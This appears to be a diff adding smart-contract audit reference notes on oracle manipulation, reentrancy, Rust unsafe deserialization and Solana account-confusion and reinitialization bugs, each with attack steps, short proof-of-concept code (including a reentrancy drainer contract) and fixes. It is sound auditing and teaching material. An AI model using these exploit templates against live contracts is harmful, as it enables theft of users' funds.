audit-system 2.0.0

package/obsidian-vault/vulnerabilities/oracle-manipulation.md

@@ -0,0 +1,135 @@
+# Oracle Manipulation
+
+tags: #vulnerability #high #critical #oracle #defi
+
+---
+
+## Summary
+Oracle manipulation attacks exploit contracts that use manipulable on-chain price sources (spot DEX prices) to make decisions about collateral values, liquidations, or swap rates.
+
+---
+
+## Pattern Recognition
+
+### Code Signals
+- `getReserves()` from Uniswap/PancakeSwap pair
+- `.price0CumulativeLast()` not used (spot price used instead of TWAP)
+- Custom oracle with single source
+- No staleness check on Chainlink
+- `slot0` from Uniswap V3 (manipulable)
+
+### Detection Query for Claude
+```
+Where does the contract read price data?
+Is it reading spot price from a DEX?
+Is it using TWAP or a multi-source oracle?
+Can the price source be manipulated in a single transaction?
+Is there a Chainlink staleness check?
+```
+
+---
+
+## Variants
+
+### Spot Price Manipulation (Flash Loan)
+```
+1. Flash loan large amount
+2. Swap to manipulate DEX spot price
+3. Call vulnerable function using that price
+4. Profit from price discrepancy
+5. Swap back + repay flash loan
+```
+
+### Chainlink Stale Price
+```
+1. Chainlink update delayed (during volatility)
+2. Contract uses outdated price
+3. Attacker arbitrages between real and stale price
+```
+
+### Low Liquidity Oracle
+Pool has low liquidity → small capital moves price dramatically.
+
+---
+
+## Attack Strategy
+
+```
+1. Identify price feed source in contract
+2. Check if source is manipulable in one TX
+3. Calculate flash loan needed to move price significantly
+4. Model profit: arbitrage value - flash loan fee
+5. Execute if profitable
+```
+
+---
+
+## Detection Signals
+- `IUniswapV2Pair(pair).getReserves()` for price
+- `slot0` in Uniswap V3
+- Missing `require(updatedAt >= block.timestamp - STALENESS_THRESHOLD)`
+- Single oracle source with no fallback
+
+---
+
+## PoC Template
+
+```solidity
+function test_oracleManipulation() public {
+    // Setup: attacker gets flash loan
+    uint256 flashAmount = 1_000_000e18;
+
+    // Step 1: Record price before manipulation
+    uint256 priceBefore = target.getPrice();
+
+    // Step 2: Manipulate DEX price
+    // (large swap in the pair used as oracle)
+    vm.startPrank(attacker);
+    dex.swap(flashAmount, 0, attacker, "");
+
+    // Step 3: Call vulnerable function with manipulated price
+    uint256 inflatedCollateral = target.getCollateralValue();
+
+    // Step 4: Exploit the price difference
+    target.borrow(inflatedCollateral);
+
+    // Step 5: Swap back
+    dex.swap(0, flashAmount, attacker, "");
+
+    vm.stopPrank();
+
+    assertGt(token.balanceOf(attacker), 0, "Exploit failed");
+}
+```
+
+---
+
+## Fix
+
+```solidity
+// Use TWAP instead of spot price
+function getPrice() external view returns (uint256) {
+    // Uniswap V2 TWAP
+    uint256 price0Cumulative = pair.price0CumulativeLast();
+    // ... compute TWAP over 30+ minutes
+
+    // OR use Chainlink with staleness check
+    (, int256 price, , uint256 updatedAt, ) = feed.latestRoundData();
+    require(updatedAt >= block.timestamp - 1 hours, "Stale price");
+    return uint256(price);
+}
+```
+
+---
+
+## Real World Examples
+- Mango Markets (2022) — $114M
+- Cream Finance Flash Loan (2021) — $130M
+- Euler Finance Oracle (2023) — $197M
+
+---
+
+## Links
+- [[attack-patterns/flash-loan-attack]]
+- [[attack-patterns/price-manipulation]]
+- [[hypotheses/oracle-twap-bypass]]

package/obsidian-vault/vulnerabilities/reentrancy.md

@@ -0,0 +1,141 @@
+# Reentrancy
+
+tags: #vulnerability #critical #reentrancy
+
+---
+
+## Summary
+A reentrancy attack occurs when an external contract is called before state updates are finalized, allowing the attacker to recursively call back into the vulnerable function.
+
+---
+
+## Pattern Recognition
+
+### Code Signals
+- External call (`.call()`, `.transfer()`, interface call) before state update
+- `withdraw()` or `claimReward()` functions
+- ETH transfers without ReentrancyGuard
+- `nonReentrant` modifier missing
+
+### Detection Query for Claude
+```
+Does this function make an external call before updating state?
+Is there a way to recursively re-enter this function?
+Is ReentrancyGuard applied?
+```
+
+---
+
+## Variants
+
+### Single-Function Reentrancy
+Classic: `withdraw()` → receive() → `withdraw()`
+
+### Cross-Function Reentrancy
+`functionA()` calls external → reenter `functionB()` which reads stale state
+
+### Cross-Contract Reentrancy
+Contract A calls external → reenters Contract B which shares state with A
+
+### Read-Only Reentrancy
+Call external → reenter view function that returns stale values → use stale value in another protocol
+
+---
+
+## Attack Strategy
+
+```
+1. Deposit funds into vulnerable contract
+2. Call withdraw()
+3. In receive()/fallback(), call withdraw() again
+4. State not yet updated → contract thinks attacker still has balance
+5. Repeat until drained
+```
+
+---
+
+## Detection Signals
+- `external call` BEFORE `state update`
+- No `nonReentrant` modifier
+- ETH sent via `.call{value: amount}("")`
+- `balances[msg.sender] = 0` AFTER the send
+
+---
+
+## PoC Template
+
+```solidity
+contract ReentrancyAttacker {
+    IVulnerable target;
+    uint256 amount;
+
+    constructor(address _target) payable {
+        target = IVulnerable(_target);
+        amount = msg.value;
+    }
+
+    function attack() external {
+        target.deposit{value: amount}();
+        target.withdraw(amount);
+    }
+
+    receive() external payable {
+        if (address(target).balance >= amount) {
+            target.withdraw(amount);
+        }
+    }
+}
+```
+
+---
+
+## Fix
+
+```solidity
+// Apply CEI pattern
+function withdraw(uint256 amount) external nonReentrant {
+    require(balances[msg.sender] >= amount);
+    balances[msg.sender] -= amount;  // Effect BEFORE interaction
+    (bool success, ) = msg.sender.call{value: amount}("");
+    require(success);
+}
+```
+
+---
+
+## Solana/CPI Reentrancy Variant
+
+In Solana, reentrancy occurs via Cross-Program Invocation (CPI):
+
+```
+Program A calls Program B via invoke() or invoke_signed()
+Program B calls back into Program A during the CPI
+Program A's state is mid-transaction → reads stale data
+```
+
+### Solana Detection
+- CPI to program that can control execution flow
+- State updated AFTER CPI (not before)
+- No reentrancy guard on instruction handlers
+- Callback accounts are not separated
+
+### Solana Fix
+```rust
+// Update state BEFORE CPI call
+ctx.accounts.user.balance = user.balance.checked_sub(amount).unwrap();
+// Then do CPI
+invoke(&transfer_ix, &accounts)?;
+```
+
+## Real World Examples
+- The DAO Hack (2016) — $60M (EVM)
+- Cream Finance (2021) — $130M (EVM)
+- Fei Protocol (2022) — $80M (EVM)
+- Multiple Solana programs with CPI reentrancy
+
+---
+
+## Links
+- [[attack-patterns/state-inconsistency]]
+- [[test-strategies/fuzzing]]
+- [[poc/reentrancy-poc]]

package/obsidian-vault/vulnerabilities/rust-unsafe-deserialization.md

@@ -0,0 +1,128 @@
+# Unsafe Deserialization & Memory Safety (Rust)
+
+tags: #vulnerability #rust #unsafe #deserialization #high
+
+---
+
+## Summary
+Smart contracts written in Rust (Solana, ink!) sometimes use `unsafe` code for performance or custom serialization. Incorrect unsafe usage can lead to memory corruption, undefined behavior, and exploitable vulnerabilities.
+
+---
+
+## Pattern Recognition
+
+### Code Signals
+- `unsafe { }` blocks in contract code
+- Custom `Pack`/`Unpack` trait implementations
+- `std::mem::transmute()` usage
+- Raw pointer dereference: `*ptr`, `ptr.read()`, `ptr.write()`
+- Union type access
+- `#[repr(packed)]` structs
+- Manual Borsh deserialization without bounds checks
+
+### Detection Query
+```
+Is any data deserialized with custom unsafe code?
+Are there transmute calls that could reinterpret types?
+Are raw pointers used without bounds checking?
+Could crafted input cause out-of-bounds reads?
+```
+
+---
+
+## Variants
+
+### Bounds Check Bypass
+```rust
+// Unsafe: no length check before deserialization
+unsafe {
+    let data = &*(ptr as *const UserData);
+    // If input is shorter than UserData, reads OOB memory
+}
+```
+
+### Type Confusion via Transmute
+```rust
+// Transmute between unrelated types
+unsafe {
+    let value: u64 = std::mem::transmute::<[u8; 8], u64>(bytes);
+    // If bytes aren't validated, can produce any u64 value
+}
+```
+
+### Uninitialized Memory
+```rust
+// Reading uninitialized memory
+unsafe {
+    let mut data: UserData = std::mem::zeroed();
+    // zeroed() may produce invalid enum variants
+}
+```
+
+### Union Type Confusion
+```rust
+// Union allows reading same bytes as different types
+unsafe {
+    u.some_field = value;
+    u.other_field; // Reading other field = type confusion
+}
+```
+
+---
+
+## Attack Strategy
+
+```
+1. Identify all unsafe blocks in the contract
+2. Check if attacker-controlled input reaches unsafe code
+3. Craft input that triggers undefined behavior
+4. Exploit resulting memory corruption for privilege escalation
+```
+
+---
+
+## Detection Signals
+- Any `unsafe` in contract business logic (vs. in crypto library)
+- Manual `Pack`/`Unpack` without bounds checks
+- Transmuting between types of different sizes
+
+---
+
+## PoC Concept
+
+```rust
+// Craft input that causes OOB read in unsafe deserialization
+// If custom Pack doesn't check length:
+//   Send 3 bytes where 8+ expected
+//   Reads uninitialized stack memory
+//   Value determines authorization level!
+```
+
+---
+
+## Fix
+
+```rust
+// Safe: use checked deserialization
+pub fn unpack(data: &[u8]) -> Result<Self, ProgramError> {
+    if data.len() < Self::LEN {
+        return Err(ProgramError::InvalidAccountData);
+    }
+    // Safe to proceed
+    let inner = UserData::try_from_slice(data)
+        .map_err(|_| ProgramError::InvalidAccountData)?;
+    Ok(inner)
+}
+
+// Avoid transmute entirely
+// Use safe conversions: from_le_bytes(), from_be_bytes()
+let value = u64::from_le_bytes(
+    bytes.try_into().map_err(|_| MyError::InvalidLength)?
+);
+```
+
+---
+
+## Related
+- [[solana-account-confusion]]
+- [[state-inconsistency]]

package/obsidian-vault/vulnerabilities/solana-account-confusion.md

@@ -0,0 +1,125 @@
+# Account Confusion (Solana)
+
+tags: #vulnerability #solana #account-confusion #critical
+
+---
+
+## Summary
+In Solana, all accounts are passed as inputs to instructions. If a program doesn't properly validate which account is which, an attacker can pass the same account in multiple slots or swap accounts of the same type to gain unauthorized access or manipulate state.
+
+---
+
+## Pattern Recognition
+
+### Code Signals (Anchor)
+- `AccountInfo` without type checking
+- `UncheckedAccount` used where validation is needed
+- Same account type used multiple times in a single instruction
+- Missing `#[account(owner = ...)]` constraint
+- Missing `has_one = ...` constraint
+- Accounts passed without checking discriminant or data
+
+### Detection Query
+```
+Does each Account in the instruction have unique constraints?
+Can any two accounts be the same Pubkey?
+Is there a check that account A ≠ account B?
+Are `has_one` or `seeds` constraints used?
+```
+
+---
+
+## Variants
+
+### Same-Account Confusion
+Pass the same account as both user A and user B:
+```
+Instruction expects: [user_a: Signer, user_b: Account]
+Attacker passes: [attacker as both user_a and user_b]
+Impact: Attacker transfers from user A to user B = from self to self
+```
+
+### Type Confusion
+Pass an account of the same type but different user:
+```
+Instruction expects: [vault: Account<Vault>, user_vault: Account<Vault>]
+Attacker passes: [user A's vault as both]
+Impact: User B's vault state manipulated via user A's vault
+```
+
+### Cross-Instruction Confusion
+Same account reused across different instructions with different meanings
+
+---
+
+## Attack Strategy
+
+```
+1. Identify instruction with multiple accounts of same type
+2. Check if there's validation they're different accounts
+3. If not, pass same account for both parameters
+4. This can: bypass limits, double-spend, or confuse authority
+```
+
+---
+
+## Detection Signals
+- Multiple `Account<T>` of same type `T` in one instruction
+- No `#[account(address = ...)]` or `has_one` constraints
+- No `require_keys_neq!(a, b)` checks
+- Accounts derived from user input not validated
+
+---
+
+## PoC Template (Anchor/TS)
+
+```typescript
+it("account confusion exploit", async () => {
+  const victim = anchor.web3.Keypair.generate();
+
+  // Pass victim as BOTH accounts
+  const tx = await program.methods
+    .vulnerableFunction()
+    .accounts({
+      accountA: victim.publicKey,
+      accountB: victim.publicKey,  // Same!
+    })
+    .signers([attacker])
+    .rpc();
+});
+```
+
+---
+
+## Fix
+
+```rust
+// In Anchor, add constraint to ensure different accounts:
+#[derive(Accounts)]
+pub struct Transfer<'info> {
+    #[account(mut)]
+    pub from: Signer<'info>,
+    #[account(
+        mut,
+        constraint = from.key() != to.key() @ MyError::SameAccount
+    )]
+    pub to: Account<'info, User>,
+}
+
+// Or manually:
+require_keys_neq!(from.key(), to.key());
+```
+
+---
+
+## Real World Examples
+- Solana SPL Token program: initial design allowed self-transfer
+- Multiple Solana NFT marketplace hacks
+- Crema Finance (2022) — account confusion in swap logic
+
+---
+
+## Links
+- [[solana-cpi-attacks]]
+- [[solana-signer-authorization]]
+- [[defi-invariants]]

package/obsidian-vault/vulnerabilities/solana-close-account.md

@@ -0,0 +1,141 @@
+# Close Account & Reinitialization (Solana)
+
+tags: #vulnerability #solana #close #reinit #high
+
+---
+
+## Summary
+In Solana, accounts can be closed to reclaim rent. If not handled correctly, attackers can reinitialize closed accounts to gain unauthorized access or manipulate state.
+
+---
+
+## Pattern Recognition
+
+### Code Signals
+- `close` instruction that sends lamports to a destination
+- Missing discriminator check on account data
+- No `initialized` flag
+- Account size can change between close and reinit
+- Old account data remains in memory after close
+
+### Detection Query
+```
+Does close() zero out account data or change discriminator?
+Can the same account address be reinitialized after close?
+Does every instruction check if account is already initialized?
+```
+
+---
+
+## Variants
+
+### Reinitialization Attack
+```
+1. User creates account A
+2. User closes account A (rent reclaimed)
+3. Attacker reinitializes account A at same address
+4. Attacker now controls what was previously user A's account
+```
+
+### Use-After-Close
+```
+1. Account data is not cleared on close
+2. Discriminator not checked before use
+3. Old data remains accessible
+4. Attacker reads stale data or passes closed-but-not-cleared account
+```
+
+### Rent Theft
+```
+close instruction sends rent to wrong destination
+Attacker drains rent from all closable accounts
+```
+
+---
+
+## Attack Strategy
+
+```
+1. Find close instruction
+2. Check if account data is cleared (discriminator reset)
+3. Check if all instructions verify account discriminator
+4. If discriminator not checked: close → reinit → exploit
+```
+
+---
+
+## Detection Signals
+- No discriminator check in instruction handlers
+- Close instruction doesn't zero out account data
+- No `is_initialized` or version field
+- Account type can be reinterpreted after reinit
+
+---
+
+## PoC Template (Anchor/TS)
+
+```typescript
+it("reinitialization attack", async () => {
+  // 1. Create victim's account
+  await program.methods
+    .initialize()
+    .accounts({ user: victim.publicKey })
+    .signers([victim])
+    .rpc();
+
+  // 2. Close it
+  await program.methods
+    .close()
+    .accounts({ user: victim.publicKey })
+    .signers([victim])
+    .rpc();
+
+  // 3. Reinitialize with attacker control
+  await program.methods
+    .initialize()
+    .accounts({ user: victim.publicKey })  // Same address!
+    .signers([victim])  // Attacker has keypair
+    .rpc();
+
+  // 4. Now attacker has elevated privileges
+});
+```
+
+---
+
+## Fix
+
+```rust
+// Anchor: close constraint handles this
+#[derive(Accounts)]
+pub struct Close<'info> {
+    #[account(
+        mut,
+        close = destination,  // Anchor handles zeroing + rent return
+        constraint = user.key == owner.key
+    )]
+    pub user: Account<'info, UserData>,
+    #[account(mut)]
+    pub destination: Signer<'info>,
+}
+
+// Manual: zero out discriminator
+pub fn close(ctx: Context<Close>) -> Result<()> {
+    let data = ctx.accounts.user.to_account_info();
+    let mut data_bytes = data.data.borrow_mut();
+    data_bytes[0..8].copy_from_slice(&[0u8; 8]); // Clear discriminator
+    Ok(())
+}
+```
+
+---
+
+## Real World Examples
+- Jet Protocol — reinitialization vulnerability
+- Multiple Solana programs with close + reinit patterns
+
+---
+
+## Links
+- [[solana-account-confusion]]
+- [[solana-signer-authorization]]